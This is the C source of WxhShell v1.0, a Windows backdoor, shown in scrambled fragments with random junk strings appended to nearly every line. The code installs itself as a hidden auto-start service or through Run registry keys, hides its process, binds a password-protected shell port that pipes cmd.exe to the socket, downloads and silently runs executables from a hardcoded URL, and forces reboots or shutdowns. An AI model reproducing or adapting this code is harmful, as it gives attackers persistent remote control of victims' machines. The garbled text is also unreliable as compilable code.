    if(Boot(SHUTDOWN)) ]v?@g:i E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #./fY;:cj  
    else { -Sq z5lo  
    closesocket(wsh); Ah1]Y}sy  
    ExitThread(0); M "ui0 ac  
    }  hz{`h  
    break; BfXgh'Z~  
    } K> %Tq  
  // 获取shell [m- >5H  
  case 's': { SDL7<ZaE  
    CmdShell(wsh); Eu0akqZ  
    closesocket(wsh); We)xB  
    ExitThread(0); oph}5Krd)  
    break; ;^+\K-O]c  
  } 6 [k\@&V-  
  // 退出 Jf@H/luW  
  case 'x': { n#mA/H;wV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =WyDp97@+  
    CloseIt(wsh); %Wg'i!?cB  
    break; <:_wbVn-  
    } 1kz\IQ{  
  // 离开 ] ;KJ6  
  case 'q': { i)\ L:qF5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m.hkbet/R  
    closesocket(wsh); -6Z\qxKqZ  
    WSACleanup(); $5 >e  
    exit(1); },uF 4M.K  
    break; +20G>y=+  
        } RXNn[A4xfY  
  } fAF1"4f  
  } S2E8G q9  
GeI-\F7b  
  // 提示信息 Cwr~HY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^0Zf,40  
} N1}c9}  
  } MlcR"gl*  
{vs uPY  
  return; |U~<3.:m:  
} lVd^ ^T*fh  
84$nT>c  
// shell模块句柄 ?xA:@:l/  
int CmdShell(SOCKET sock) XFg 9P}"  
{ m )8BgCy  
STARTUPINFO si; v0ujdp,B  
ZeroMemory(&si,sizeof(si));  vx\r!]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }I2wjO  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T _r:4JS  
PROCESS_INFORMATION ProcessInfo; oVnvO iAc  
char cmdline[]="cmd"; 60P<4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "33Fv9C#bK  
  return 0; 0Vj4+2?L5;  
} D{!6Y*d6&s  
phQU D  
// 自身启动模式 EJj.1/]|r  
int StartFromService(void) 5]~'_V  
{ -M~8{buxv  
typedef struct ,aOl_o -&  
{ _> f`!PlB|  
  DWORD ExitStatus; a Ve'ry  
  DWORD PebBaseAddress; N1Ng^aY0  
  DWORD AffinityMask; !NIhx109q  
  DWORD BasePriority; @X%C>iYa9  
  ULONG UniqueProcessId; ]Gzm^6v  
  ULONG InheritedFromUniqueProcessId; D!@Ciw  
}   PROCESS_BASIC_INFORMATION; Yf:IKY  
5c9^-|-T  
PROCNTQSIP NtQueryInformationProcess; ^"2i   
~Uu4=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e%@'5k\SK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iMAfJ-oN  
)5rb&M}  
  HANDLE             hProcess; 6 uv#de  
  PROCESS_BASIC_INFORMATION pbi; bNm#tmSt  
ICpAt~3[M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); jGJLSEe_  
  if(NULL == hInst ) return 0; .I$qCb|FP  
kd>hhiz|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); j1^I+j)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1!ii;s^e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R"4Vtww  
z[LNf.)}  
  if (!NtQueryInformationProcess) return 0; 5rwu!Y;7*  
-] L6=  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v;BV@E0}x  
  if(!hProcess) return 0; Ld\R:{M"  
f6EZ( v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \"qY"V  
Vl5`U'^qx  
  CloseHandle(hProcess); b v G/|U  
t 4PK}>QW  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); bhID#&  
if(hProcess==NULL) return 0; .O74V~T  
pqk?|BvpK_  
HMODULE hMod; H0:E(}@   
char procName[255]; Bs13^^hu  
unsigned long cbNeeded; C`K?7v3$m  
nv GF2(;l  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4 <9=5q]  
BYpG  
  CloseHandle(hProcess); _?<|{O  
7zA'ri3w  
if(strstr(procName,"services")) return 1; // 以服务启动 8R2QZXJb-  
Jy^u?  
  return 0; // 注册表启动 cU RkP`  
}  0bz'&  
-jW.TT h]  
// 主模块 7[w,:9& }  
int StartWxhshell(LPSTR lpCmdLine) TBs|r#  
{ 3Iua*#<m,  
  SOCKET wsl; wE[]6\_x1  
BOOL val=TRUE; ]"J~:{, d  
  int port=0; _+p4Wvu~0  
  struct sockaddr_in door; N6>(;ugJ1-  
f) znTJL  
  if(wscfg.ws_autoins) Install(); N|1M1EBOu>  
QU4h8}$  
port=atoi(lpCmdLine); #J@[Wd  
s2teym,uG  
if(port<=0) port=wscfg.ws_port; 0x'#_G65y  
ZNJ@F<  
  WSADATA data; %+f>2U4I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >,TUZ  
V:qSy#e  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,3?Q(=j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S\4tzz @  
  door.sin_family = AF_INET; B&\IGWG(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FR$:"  
  door.sin_port = htons(port); W6f/T3  
4S5,w(6N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j\,EO+ZQCv  
closesocket(wsl); L\Aq6q@c  
return 1; 9`wZz~hL"  
} <nE>XAI_7  
`q?8A3A  
  if(listen(wsl,2) == INVALID_SOCKET) { BZ:H`M`n  
closesocket(wsl); -- PtZ]Z  
return 1; %4ePc-  
} gMY1ts}Z  
  Wxhshell(wsl); Lilr0|U+  
  WSACleanup(); 0":ib0=  
T29Dt  
return 0; YX=a#%vrl  
kv3E4,<9  
} ? K ;dp  
sA/pVU  
// 以NT服务方式启动 %oq{L]C(rf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +Fuqch jq  
{ M%Ji0v38  
DWORD   status = 0; G]D+Sl4<7i  
  DWORD   specificError = 0xfffffff; g>Y|9Y  
}B8IBveu  
  serviceStatus.dwServiceType     = SERVICE_WIN32; kB3H="3[[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m4aB*6<lq  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iEd\6EZ  
  serviceStatus.dwWin32ExitCode     = 0; 1HXjN~XF  
  serviceStatus.dwServiceSpecificExitCode = 0; DAS/43\  
  serviceStatus.dwCheckPoint       = 0; p=;=w_^y  
  serviceStatus.dwWaitHint       = 0; O]lSWEe  
e91aK  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %JXE5l+pJ  
  if (hServiceStatusHandle==0) return; W=vG$  
6`O.!|)  
status = GetLastError(); hakKs.U|[  
  if (status!=NO_ERROR) vu|n<  
{ ^c<ucv6.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wLmhy,  
    serviceStatus.dwCheckPoint       = 0; "7!;KHc  
    serviceStatus.dwWaitHint       = 0; 5Y.vJz  
    serviceStatus.dwWin32ExitCode     = status; V@Rrn <l  
    serviceStatus.dwServiceSpecificExitCode = specificError; vtw6FX_B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =G]1LTI  
    return; FB  _pw!z  
  } s}j{#xT  
A9f)tqbc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u xW~uEh  
  serviceStatus.dwCheckPoint       = 0; Z9MdD>uwi  
  serviceStatus.dwWaitHint       = 0; WP?TX b`5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M4zm,>?K  
} Ey_" ~OB  
ZYI{i?Te#  
// 处理NT服务事件,比如:启动、停止 /]=C{)8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wp#'nO  
{ 9S-Z& 2L  
switch(fdwControl) PUF/#ck  
{ >SML"+>  
case SERVICE_CONTROL_STOP: TcIcS]w%  
  serviceStatus.dwWin32ExitCode = 0; =4[v 3Qx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \n{qsf:  
  serviceStatus.dwCheckPoint   = 0; {. 2k6_1[  
  serviceStatus.dwWaitHint     = 0; <Fi%iA  
  { @W va tD V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >=RmGS  
  } gg[WlRQK4A  
  return; p<zSJLN  
case SERVICE_CONTROL_PAUSE: d{XO/YQw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; |(pRaiJ  
  break; %<E$,w>  
case SERVICE_CONTROL_CONTINUE: e<=cdze  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $]{k+Jf  
  break; J/\V%~ 1F  
case SERVICE_CONTROL_INTERROGATE: nN*w~f"  
  break; `&KwtvkdI  
}; vY%d   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9{-EJ)  
} vWRju*Z&  
K%"5ImM  
// 标准应用程序主函数 k *Q<3@S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YQ39 A_e g  
{ zN!ZyI$nqP  
Q,p}:e  
// 获取操作系统版本 Db)?i?o}t  
OsIsNt=GetOsVer(); *"D3E7AO  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5"HV BfFk  
? i( %  
  // 从命令行安装 ]Bm/eRy"  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?mWw@6G,  
q8^^H$<Db  
  // 下载执行文件 %F!1  
if(wscfg.ws_downexe) { #>%X_o-o23  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X=hYB}}nu  
  WinExec(wscfg.ws_filenam,SW_HIDE); BDq%'~/^  
} 9:,V5n=  
&Rx{.9  
if(!OsIsNt) { hJDi7P  
// 如果时win9x,隐藏进程并且设置为注册表启动 :Qumb  
HideProc(); >iD )eB  
StartWxhshell(lpCmdLine); pV20oSJNt  
} MKy[hT:  
else zY,r9<I8_x  
  if(StartFromService()) %1O;fQL  
  // 以服务方式启动 p$h4u_  
  StartServiceCtrlDispatcher(DispatchTable); _h X]%  
else ;cPy1  
  // 普通方式启动 >)spqu]  
  StartWxhshell(lpCmdLine); AI,(z;{P  
Sg6"WV{<  
return 0; V#cqRE3XNi  
} x/;buW-  
UG)8D5  
QS{1CC9$  
W0epAGrB  
=========================================== Ys,{8Y,7  
3jlh}t>$l  
zY|t0H  
`0P$#5?  
#;%JT   
kMtwiB|7j  
" x9;gT&@H  
EGZb7:Y?  
#include <stdio.h> O9EKRt  
#include <string.h> I9:Cb)hbU]  
#include <windows.h> l~6?kFy9h  
#include <winsock2.h> o'W5|Gy  
#include <winsvc.h> QAvir%Y9Q  
#include <urlmon.h> ]@uE #a:[  
|g #K]v  
#pragma comment (lib, "Ws2_32.lib") ^go7_y  
#pragma comment (lib, "urlmon.lib") :E>HE,1b+  
8"dv_`ym  
#define MAX_USER   100 // 最大客户端连接数 Q\cjPc0y  
#define BUF_SOCK   200 // sock buffer ~.UrL(l=  
#define KEY_BUFF   255 // 输入 buffer 4eikLRD,  
5dB'&8DX  
#define REBOOT     0   // 重启 <5NF;  
#define SHUTDOWN   1   // 关机 \ C+(~9@|  
#a`a$A  
#define DEF_PORT   5000 // 监听端口 0KGY\,ae:;  
(N&lHLy  
#define REG_LEN     16   // 注册表键长度 ,`gl&iB  
#define SVC_LEN     80   // NT服务名长度 d/ bEt&  
mnmP<<8C,  
// 从dll定义API =$nB/K,8AX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .G+Pe'4a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M@?xa/E64  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); p;W.lcO`0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DdVF,  
kAu+zX>S+  
// wxhshell配置信息 pek%08VSEU  
struct WSCFG { wi4=OU1L)a  
  int ws_port;         // 监听端口 1RK=,Wx  
  char ws_passstr[REG_LEN]; // 口令 ?r?jl;A&  
  int ws_autoins;       // 安装标记, 1=yes 0=no UN zlN  
  char ws_regname[REG_LEN]; // 注册表键名 -5T=:2M  
  char ws_svcname[REG_LEN]; // 服务名 o>7ts&rk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i K12 pw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S(uf(q|{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 hi0R.V&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no L+CyQq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TZ2=O<Kj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :'*DPB-  
7vABq(  
}; ( YQWbOk  
*,Za6.=  
// default Wxhshell configuration w9o^s5n  
struct WSCFG wscfg={DEF_PORT, e_/b2"{  
    "xuhuanlingzhe", j{NNSi3  
    1, /Wy.>YC|  
    "Wxhshell", 'Er:a?88l  
    "Wxhshell", ]R=,5kK3  
            "WxhShell Service", mExVYp h  
    "Wrsky Windows CmdShell Service", 5g9; +}X;  
    "Please Input Your Password: ", DSt]{fl`P  
  1, nzmDA6d  
  "http://www.wrsky.com/wxhshell.exe", tUgEeh6  
  "Wxhshell.exe" 2Sh  
    }; NMww>80  
vP !{",>  
// 消息定义模块 K^ B%/T]d  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J,zO2572u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4"xPr[=iG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cCa|YW^j  
char *msg_ws_ext="\n\rExit."; NcP.;u;`  
char *msg_ws_end="\n\rQuit."; CE"JS-S?  
char *msg_ws_boot="\n\rReboot..."; \mV'mZ9>  
char *msg_ws_poff="\n\rShutdown..."; ' 4E R00  
char *msg_ws_down="\n\rSave to "; <0S,Q+&  
({NAMc*  
char *msg_ws_err="\n\rErr!"; )=-0M9e.{  
char *msg_ws_ok="\n\rOK!"; kdn'6>\  
S6fL>'uQ  
char ExeFile[MAX_PATH]; ak:ibV  
int nUser = 0; 8 O67  
HANDLE handles[MAX_USER]; cKn`/\.H  
int OsIsNt; J]q%gcM  
8,atX+tc  
SERVICE_STATUS       serviceStatus; r" K':O6y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; lRv eHB&V  
g7&9"  
// 函数声明 E=cwq"  
int Install(void); ;s~X  
int Uninstall(void); ^qC;Nh4F  
int DownloadFile(char *sURL, SOCKET wsh); Ton94:9bZ  
int Boot(int flag); 3;8!rNN  
void HideProc(void); ZvUC I8  
int GetOsVer(void); Y& F=t/U2  
int Wxhshell(SOCKET wsl); &`fhEN  
void TalkWithClient(void *cs); QjC22lW-  
int CmdShell(SOCKET sock); cetvQAGXY  
int StartFromService(void); [xT:]Pw}  
int StartWxhshell(LPSTR lpCmdLine); J7v|vj I  
MSV2ip3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A.D{.a  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =+x yI  
[Tnsr(Z  
// 数据结构和表定义 .cR -V`  
SERVICE_TABLE_ENTRY DispatchTable[] = z Nl ,  
{ jZ%TJ0(H  
{wscfg.ws_svcname, NTServiceMain}, \tRG1&{$%  
{NULL, NULL} lw :`M2P,  
}; MCT'Nw@A  
qVdwfT{1J  
// 自我安装 B}eA\O4}I  
int Install(void) UK{irU|\  
{ F {B\kq8  
  char svExeFile[MAX_PATH]; +z9gbcx  
  HKEY key; 7#~+@'Oe  
  strcpy(svExeFile,ExeFile); _$p$")  
3( ]M{4j  
// 如果是win9x系统,修改注册表设为自启动 7c;9$j  
if(!OsIsNt) { jr)7kP@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ed:eGm }  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0x9x@gF  
  RegCloseKey(key); iA,kX\nK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >OP+^^oZ<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f"( X(1F  
  RegCloseKey(key); @&"Pci+-|  
  return 0; jM&r{^(  
    } E( h<$w8s  
  } TI !a)X  
} |TE}`?y[g  
else { gh>>Ibf  
1lsLJ4P  
// 如果是NT以上系统,安装为系统服务 C_ \q?>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3&x-}y~sg  
if (schSCManager!=0) \V>?Do7  
{ TyKWy0x-3  
  SC_HANDLE schService = CreateService St<mDTi  
  ( : iiw3#]  
  schSCManager, 0I{gJSK.,  
  wscfg.ws_svcname, #eN{!Niy&U  
  wscfg.ws_svcdisp, #UtFD^h  
  SERVICE_ALL_ACCESS, 1.D-FPK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4G@nZn  
  SERVICE_AUTO_START, c!hwmy;  
  SERVICE_ERROR_NORMAL, f""`cdqAOh  
  svExeFile, }dxDt qb  
  NULL, nr)c!8  
  NULL, 'u4ezwF;  
  NULL, GdVhK:<>  
  NULL, {"vkji>  
  NULL !vn1v)6  
  ); f1PN |  
  if (schService!=0) \ j.x0/;  
  { Ke-)vPc  
  CloseServiceHandle(schService); QR">.k4QJ  
  CloseServiceHandle(schSCManager); +Ug/rtK4   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); lZ&]|*>  
  strcat(svExeFile,wscfg.ws_svcname); &t(0E:^TRU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 93IFcmO.H@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7B3w\  
  RegCloseKey(key); O8U<{jgAG  
  return 0; `Y40w#?uW  
    } zNSu  
  } ,&HR(jTo  
  CloseServiceHandle(schSCManager); +fKtG]$  
} /$"[k2 N  
} $XBAZ<"hd  
+KEkmXZ  
return 1; 3E^M?N2oc  
} ]=73-ywn]  
Ovw[b2ii  
// 自我卸载 O;[9_[  
int Uninstall(void) v=I|O%  
{ /q\_&@  
  HKEY key; 4*Z6}"  
E3/:.t  
if(!OsIsNt) {  6qo^2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5wC* ?>/  
  RegDeleteValue(key,wscfg.ws_regname); m+$ @'TbP  
  RegCloseKey(key); =wi*Nd7L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IB9%QW"0  
  RegDeleteValue(key,wscfg.ws_regname); !SHj$Jwa'  
  RegCloseKey(key); O(H1P[  
  return 0; UFn8kBk  
  } Wx)K* 9  
} C.!_]Pxs  
} RBGlzk  
else { Bz2'=~J  
^b?2N/m@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J?:[$C5  
if (schSCManager!=0) L$v^afP?  
{ MN= sIP,zk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }b["Jk\2  
  if (schService!=0) K7vw3UwGN  
  { MN;/*t  
  if(DeleteService(schService)!=0) { zjX7C~h^Q  
  CloseServiceHandle(schService); q$ghLGz  
  CloseServiceHandle(schSCManager); #$'"cfRxc  
  return 0; U Lmg$T&  
  } {6vEEU  
  CloseServiceHandle(schService); nX%AeDBAT  
  } rE!1wc>L  
  CloseServiceHandle(schSCManager); V`a+Hi<P\  
} s'a=_cN  
} 3=4SGt5m  
GaNq2G  
return 1; J0<p4%Cf  
} \ a-CN>  
uOk%AL>  
// 从指定url下载文件 Ns~&sE:  
int DownloadFile(char *sURL, SOCKET wsh) )q?$p9  
{ ~\_T5/I%  
  HRESULT hr; [ F([  
char seps[]= "/"; ?s{C//  
char *token; MR9/Y:Nm  
char *file; 6n w&$I  
char myURL[MAX_PATH]; 0-e  
char myFILE[MAX_PATH]; mA{#]Yvf1  
T[Q"}&bB  
strcpy(myURL,sURL); /(6zsq'v|  
  token=strtok(myURL,seps); hH4o;0rqJ  
  while(token!=NULL) LdTIR]  
  { a?<?5   
    file=token; LF=c^9t  
  token=strtok(NULL,seps); 1MQ/ r*(  
  } ?eWJa  
[yd6gH  
GetCurrentDirectory(MAX_PATH,myFILE); Gp1EJ2d8  
strcat(myFILE, "\\"); {rGYRn,  
strcat(myFILE, file); X ]s"5ju|t  
  send(wsh,myFILE,strlen(myFILE),0); zO2{.4  
send(wsh,"...",3,0); ep?:;98|t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zA{8C];~  
  if(hr==S_OK) 6F5,3&  
return 0; bXl8v  
else r@$B'CsLj  
return 1; .Vh*Z<9S4  
BvJ=iB<E  
} ?M"HXu  
f'_ S1\  
// 系统电源模块 !GNXt4D  
int Boot(int flag) uX0 Bp8P  
{ TzY!D *%z  
  HANDLE hToken; Q&wYc{TUbm  
  TOKEN_PRIVILEGES tkp; /+P5)q TKL  
33M}>$ZH  
  if(OsIsNt) { AQn[*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ki 3_N*z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); uHrb:X!q  
    tkp.PrivilegeCount = 1; 00qZw?%K  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z@`@I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z!)f*  
if(flag==REBOOT) { NEg>lIu<~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |KaR n;BM  
  return 0; XW:%vJu^`  
} x~(y "^ph  
else { )8]3kQffJ=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7<4xtK`+b  
  return 0; a^/K?lAB8  
} dk4D+*R  
  } ,Z4^'1{D  
  else { UGf6i"F  
if(flag==REBOOT) { ;r=?BbND?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) TRCI\  
  return 0; %O Fj  
} ,N;v~D$Y  
else { &$Ci}{{n#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2moIgJ   
  return 0; JQH7ZaN  
} 'M lXnHxt  
} 1::LN(`<  
{)uU6z {'  
return 1; pNSst_!>  
} [DL|Ht>  
Bj+wayMi  
// win9x进程隐藏模块 P_mi)@  
void HideProc(void) Bf+^O)Ns^  
{ 8}9Ob~on  
<\Vi,,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cPm~` Zd  
  if ( hKernel != NULL ) 2\ ,e  
  { p^Agh  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q:Wq8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .2/,XwIr  
    FreeLibrary(hKernel); :5G$d%O=2  
  } +!G4tA$g  
Qz# 3p3N?  
return; =J`gGDhGY-  
} 5W|u5AIw  
h k/+  
// 获取操作系统版本 aDXpkG0E  
int GetOsVer(void) _J` |<}?t;  
{ htQ;m)>J:  
  OSVERSIONINFO winfo;  w}"!l G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W.z$a.<(rF  
  GetVersionEx(&winfo); rAL1TU(vm  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jm4)gmC  
  return 1; yg`E22  
  else CJ0$;et  
  return 0; 2NyUmJ42  
} l<s :%%CX  
9x4wk*z  
// 客户端句柄模块 L,O>6~9:^1  
int Wxhshell(SOCKET wsl) uF+);ig  
{ JThk Wx  
  SOCKET wsh; 5s#R`o %Z  
  struct sockaddr_in client; ;g&7*1E  
  DWORD myID; #j\*Lc"Ur:  
l.sm~/  
  while(nUser<MAX_USER) 7 FEzak'  
{ "sdcP8])d  
  int nSize=sizeof(client); q$ bHO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XSD"/_xD  
  if(wsh==INVALID_SOCKET) return 1; ="/R5fp  
1hF2eNh  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |:~("rA+v  
if(handles[nUser]==0) [O.LUR;  
  closesocket(wsh); YCtIeq%  
else 6wa<'!   
  nUser++; `' dX/d  
  } @ARAX\F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T^rz!k{  
u?F7 L8q]  
  return 0; r!"CH5dT  
} jI@bTS o  
b>G qNf!  
// 关闭 socket 1"mnzbf8*  
void CloseIt(SOCKET wsh) qpluk!  
{ JrY"J]/  
closesocket(wsh); }Z~pfm_S  
nUser--; s@*,r@<  
ExitThread(0); 2<`gs(oxXe  
} K8e4ax  
uJ2C+$=Ul  
// 客户端请求句柄 ^EnNbFI  
void TalkWithClient(void *cs) sa\|"IkD2  
{ PM#$H  
eH"qI2A  
  SOCKET wsh=(SOCKET)cs; A>rWGo.{E  
  char pwd[SVC_LEN]; hlABu)B'1  
  char cmd[KEY_BUFF]; CDwFVR'_Af  
char chr[1]; ]%vGC^  
int i,j; d()zW7}W  
+35)=Uov  
  while (nUser < MAX_USER) { GN~[xXJU  
iA1;k*) q  
if(wscfg.ws_passstr) { >*<6 zQf  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WF3DGqs_]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q]2sj:  
  //ZeroMemory(pwd,KEY_BUFF); Ppi-skT  
      i=0; URmAI8fq*M  
  while(i<SVC_LEN) { .O@q5G  
EL2hD$  
  // 设置超时 5<:VJC<  
  fd_set FdRead; YI? C-,  
  struct timeval TimeOut; GDNh?R  
  FD_ZERO(&FdRead); =2vMw]  
  FD_SET(wsh,&FdRead); )Yy#`t  
  TimeOut.tv_sec=8; D:RBq\8  
  TimeOut.tv_usec=0; b}}1TnS)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tNi% }~Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tehI!->l  
e!2%ku  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f3%^-Uy*b  
  pwd=chr[0]; XeIUdg4>R  
  if(chr[0]==0xd || chr[0]==0xa) { jmk*z(}#:  
  pwd=0; yjM@/b  
  break; I ]WeZ,E  
  } }?Yr>ZRi  
  i++; &Curvc1fm  
    } x(/@Pt2B  
7gdU9c/q,  
  // 如果是非法用户,关闭 socket =p&'_a^$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EZwdx  
} LGo@F;!n  
+~i+k~{`H  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0:B^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mrLx]og,  
057G;u/  
while(1) { 8.;';[  
P9tQS"Rs  
  ZeroMemory(cmd,KEY_BUFF); /qz "I-a  
|au qj2  
      // 自动支持客户端 telnet标准   >kDdWgRQ  
  j=0; [K4+G]6  
  while(j<KEY_BUFF) { rO?x/{;ai  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $b i_i|?  
  cmd[j]=chr[0]; D @4&@>  
  if(chr[0]==0xa || chr[0]==0xd) { ~b6<uRnM.  
  cmd[j]=0; k vgs $  
  break; Y +_5"LV  
  } 7N59B z  
  j++; dD.d?rnZq7  
    } uZiY<(X  
gt t$O  
  // 下载文件 w#G=Z_Tt  
  if(strstr(cmd,"http://")) { _AFt6\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); eDM0417O(  
  if(DownloadFile(cmd,wsh)) ";S*[d.2tA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =`\,2Nb  
  else b#I*~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >2Qqa;nx|  
  } @gqs4cg{f  
  else {  n wZr3r  
)Y,?r[4{  
    switch(cmd[0]) { {EoyMJgz  
